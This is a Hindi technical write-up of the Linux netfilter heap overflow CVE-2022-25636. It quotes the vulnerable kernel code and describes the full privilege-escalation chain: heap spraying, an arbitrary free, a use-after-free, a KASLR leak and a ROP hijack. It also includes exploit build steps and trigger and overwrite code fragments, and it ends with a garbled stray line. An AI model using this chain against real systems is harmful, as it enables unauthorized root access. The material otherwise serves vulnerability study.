
CVE-2022-25636 के लिए विस्तृत तकनीकी विश्लेषण और एक्सप्लॉइट राइट-अप — यह Linux कर्नेल की netfilter हीप ओवरफ्लो भेद्यता है, जो heap spraying और UAF के माध्यम से लोकल प्रिविलेज एस्केलेशन सक्षम करती है।
[toc]
भेद्यता संख्या: CVE-2022-25636
भेद्यता उत्पाद: linux kernel - netfilter
प्रभावित संस्करण: linux kernel 5.4 ~
भेद्यता खतरा: netfilter कर्नेल मॉड्यूल में हीप ओवरफ्लो लेखन मौजूद है, SYS_ADMIN होने पर विशेषाधिकार उन्नति संभव है।
भेद्यता netfilter कर्नेल मॉड्यूल में मौजूद है, भेद्यता कोड तीन ko फ़ाइलों में है।
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
सीधे qemu से शुरू करने पर समस्या है, ko लोड नहीं होते, vmware पर दो-मशीन संयुक्त डिबगिंग का उपयोग करें।
ubuntu 21.10 पर मैन्युअल रूप से कर्नेल बदला जा सकता है:
apt-get install linux-image-5.13.0-30-generic
फिर मूल कर्नेल हटाएँ, exp संकलित करें:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
विशेषाधिकार उन्नति प्रभाव (सफलता दर 50% से कम):

भेद्यता फ़ंक्शन nft_fwd_dup_netdev_offload में है:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//बाहर जाना
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
flow->rule->action.entries (यह संरचना चर लंबाई की है) सेट करते समय हीप सीमा की जाँच नहीं की जाती है, जिससे एक पूर्णांक (4 या 5) और एक पॉइंटर बाहर लिखा जाता है।
फ़ंक्शन का उपयोग nft_flow_rule_create फ़ंक्शन में होता है:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//दिए गए rule की संख्या के अनुसार num_actions की गणना करता है
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// केवल NFT_OFFLOAD_F_ACTION चिह्नित को गिनता है
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);// num_actions संख्या के अनुसार स्थान आवंटित करता है (चर लंबाई संरचना)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 0 में आरंभ किया गया ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {// rule संख्या के अनुसार offload को कॉल करता है
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);// भेद्यता फ़ंक्शन को कॉल करता है
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
देखा जा सकता है कि nft_flow_rule_create फ़ंक्शन उपयोगकर्ता स्थान से दिए गए rule संरचना की संख्या के अनुसार flow संरचना आवंटित करता है और प्रक्रिया करता है। num_actions चर का उपयोग गणना के लिए किया जाता है, लेकिन गणना के दौरान केवल NFT_OFFLOAD_F_ACTION ध्वज चिह्नित rule की गणना की जाती है, और उस संख्या के अनुसार संबंधित आकार की संरचना आवंटित की जाती है। बाद में offload प्रक्रिया करते समय, num_actions का उपयोग लूप के लिए नहीं किया जाता है। बल्कि पहले की तरह rule संख्या की बार लूप चलाया जाता है, लेकिन यहाँ NFT_OFFLOAD_F_ACTION ध्वज की जाँच नहीं की जाती है। अर्थात, जब दिए गए rule में ऐसे rule होते हैं जिनमें NFT_OFFLOAD_F_ACTION ध्वज नहीं है, तो बाद में offload कॉल की संख्या पहले आवंटित flow->rule->action.entries संख्या से अधिक होती है। offload में भेद्यता फ़ंक्शन nft_fwd_dup_netdev_offload को कॉल किया जाता है, प्रत्येक कॉल में एक बढ़ता है, और 0 से आरंभ होता है, अंततः सरणी की सीमा से अधिक हो जाता है, जिससे बाहर लिखना होता है।
कुछ संरचनाएँ:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* उपयोगकर्ता परिभाषित कार्रवाई कुकी */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
कॉल स्टैक:
संदर्भ लिंक: https://www.openwall.com/lists/oss-security/2022/02/21/2
यह ईमेल बताता है कि C भाषा के libmnl और libnftnl पुस्तकालयों का उपयोग करके netfilter का उपयोग कैसे करें। भेद्यता ट्रिगर करने का मुख्य बिंदु यह है कि जोड़े गए rule में NFT_OFFLOAD_F_ACTION ध्वज है या नहीं। केवल nftnl_expr_alloc("immediate"); से जोड़े गए rule में NFT_OFFLOAD_F_ACTION ध्वज होता है:
for(int i = 0; i < legit_writes; i++) {//इस प्रकार expr जोड़ने पर बाहर नहीं जाएगा
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//इस प्रकार expr जोड़ने पर बाहर जाएगा
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
भेद्यता शोषण बहुत स्थिर नहीं है, लेकिन शोषण तकनीक बहुत उत्कृष्ट है। भेद्यता एक निश्चित ऑफ़सेट पर एक अनियंत्रित पॉइंटर लिखती है। व्यक्तिगत रूप से मानता हूँ कि शोषण की कठिनाई बहुत अधिक है। तकनीकी विधियों का संक्षेप में विश्लेषण करते हैं। भेद्यता कोड के अनुसार, प्रत्येक बार बाहर लिखने पर केवल एक पूर्णांक (id, स्थिर 4 या 5) और एक पॉइंटर (*dev) लिखा जाता है, जहाँ पॉइंटर struct net_device संरचना की ओर इंगित करता है। हम यहाँ केवल dev पॉइंटर पर ध्यान केंद्रित करते हैं:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//बाहर जाना
entry->id = id;
entry->dev = dev; //निश्चित ऑफ़सेट पर एक हीप पता लिखता है, dev struct net_device संरचना है
··· ···
}
struct flow_rule संरचना के बारे में, चूंकि यह एक चर लंबाई संरचना है, इसलिए यह जितनी सीमा तक आवंटित हो सकता है, वह शोषण की संभावना को प्रभावित करता है (सफलता):
संबंधित संरचनाएँ:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* प्रत्येक बिट एक कुंजी आईडी की उपस्थिति दर्शाता है */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//आकार 0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* उपयोगकर्ता परिभाषित कार्रवाई कुकी */
};
शोषण में प्रवेश करने के लिए, पहले दो बार *dev पता लीक करना होता है। चूंकि दो अलग-अलग dev पतों को लीक करना है, इसलिए एक इस प्रक्रिया में और दूसरा उप-प्रक्रिया में लीक किया जाता है। msg_msg का उपयोग करके लीक किया जाता है (msg_msg तकनीक समीक्षा)। आकार 0x1040 के msg को हीप स्प्रे किया जाता है, जिससे msg की संरचना के कारण यह दो खंडों में विभाजित हो जाता है। दूसरे खंड की लंबाई 0x70 होती है, और हेडर पॉइंटर के साथ, kmalloc-128 आवंटित होता है। फिर एक msg मुक्त किया जाता है, एक kmalloc-128 मुक्त होता है। इसके बाद केवल एक rule वाली flow_rule संरचना का उपयोग किया जाता है, जो भी kmalloc-128 है, उम्मीद है कि यह अभी मुक्त किए गए msg के दूसरे खंड kmalloc-128 को प्राप्त कर लेगा, जिससे निम्नलिखित हीप संरचना बनेगी:

जब flow_rule मुक्त किए गए msg_msgseg संरचना को प्राप्त करता है, तो संभवतः यह अन्य हीप स्प्रे किए गए msg_msgseg के पास होता है। इस तरह एक बार बाहर लिखने पर, 0x8 के ऑफ़सेट पर एक net_device हीप पॉइंटर (dev पॉइंटर) लिखा जाएगा। बस हीप स्प्रे किए गए सभी संदेशों को एक बार में प्राप्त करने पर, यह हीप पॉइंटर पढ़ा जा सकता है, जिससे पता लीक पूरा होता है, और दुर्घटना नहीं होती।
अब kaslr लीक करते हैं, कर्नेल आधार पता प्राप्त करते हैं। उसी विधि का उपयोग करते हुए, msg_msg + हीप स्प्रे का उपयोग करें, kmalloc-192 के बहुत सारे msg स्प्रे करें। इस बार msg_msg के पहले खंड को हीप स्प्रे लक्ष्य के रूप में उपयोग करें। फिर पिछली विधि के समान, एक मुक्त करें, फिर flow_rule आवंटित करें, और निम्नलिखित हीप संरचना बनाने का प्रयास करें:

इस बार दो rule वाली flow_rule संरचना का उपयोग करते हैं, आकार 0xC0, जो kmalloc-192 में आता है। यदि 6 बार बाहर लिखते हैं, तो 0x18+0x50*5 के ऑफ़सेट पर एक *dev पॉइंटर लिखा जाएगा, जो नीचे तीसरे kmalloc-192 के ऑफ़सेट 0x28 पर है। यदि यह msg_msg संरचना है, तो यह security पॉइंटर होगा। इस समय यदि msgrcv फ़ंक्शन का उपयोग करके इस msg_msg संरचना को मुक्त किया जाता है, तो वह kfree को कॉल करेगा और security पॉइंटर द्वारा इंगित सामग्री को मुक्त करेगा। यह msg_msg->security का मनमाना पता मुक्त करने वाला प्रिमिटिव है। संबंधित कोड:
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
इस प्रकार, अभी हीप स्प्रे किए गए संदेशों पर प्राप्त ऑपरेशन करने पर, हमारे द्वारा अधिलेखित security का dev पॉइंटर मुक्त हो जाएगा, अर्थात net_device संरचना मुक्त हो जाएगी। इसके बाद setxattr+userfaulted का उपयोग करके उस हीप ब्लॉक को संशोधित करने का प्रयास करें, जिससे UAF पूरा हो। setxattr किसी भी आकार का कर्नेल हीप आवंटित कर सकता है और उसमें कोई भी सामग्री लिख सकता है, फिर मुक्त कर सकता है। यह कर्नेल भेद्यता शोषण का सामान्य तरीका है।
चूंकि अब कर्नेल में मुक्त kmalloc-192 बहुत सारे हैं, केवल एक बार setxattr का उपयोग करना पर्याप्त नहीं होगा। इसलिए बहु-थ्रेडिंग का उपयोग करके एक साथ setxattr कॉल किया जाता है, और userfaulted का उपयोग करके कॉल समय बढ़ाया जाता है, हीप ब्लॉक अधिग्रहण समय बढ़ाया जाता है, अधिक कर्नेल हीप आवंटित करने का प्रयास करते हैं, और अंत में अभी मुक्त किए गए net_device संरचना को प्राप्त करने का प्रयास करते हैं। प्राप्त करने पर net_device संरचना की सामग्री को संशोधित किया जा सकता है, इसमें dev_addr पॉइंटर को netdev_ops पॉइंटर में बदलें, क्योंकि netdev_ops को loopback_ops में आरंभ किया जाता है, और फिर कुछ नाम जैसे कि जाँचने के लिए बदलें कि संशोधन सफल हुआ या नहीं:
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
इसके बाद बस socket के ioctl के SIOCGIFHWADDR फ़ंक्शन का उपयोग करके भौतिक पता पढ़ें, जिससे loopback_ops का पता मिल जाएगा। net_device के कुछ उपयोगी सदस्य:
struct net_device {
char name[IFNAMSIZ]; // संशोधित करें कि क्या नाम सही है
··· ···
const struct net_device_ops *netdev_ops;// आरंभिक, कर्नेल पता लीक करने के लिए
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; // rip हाईजैक करने के लिए
··· ···
unsigned char addr_len; // पता लंबाई पढ़ने के लिए
··· ···
unsigned char *dev_addr; // संशोधित करने के लिए, SIOCGIFHWADDR द्वारा पढ़ा जाता है
};
उसी विधि से setxattr+userfaulted द्वारा UAF पूरा करें। इस बार हमारे पास कर्नेल पता है, बस net_device के ethtool_ops को संशोधित करके eip हाईजैक करें, फिर socket के ioctl के SIOCETHTOOL फ़ंक्शन का उपयोग करें, जो ethtool_ops में फ़ंक्शन को कॉल करेगा, फिर ROP करें। ubuntu21.10 कर्नेल संस्करण 13.0-30 पर सफलतापूर्वक पुनरुत्पादित:
exp:https://github.com/Bonfee/CVE-2022-25636

ईमेल: https://www.openwall.com/lists/oss-security/2022/02/21/2
लेखक का दस्तावेज़: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
ctx->num_actionsctx->num_actionsctx->num_actionsflow->rule->action.entries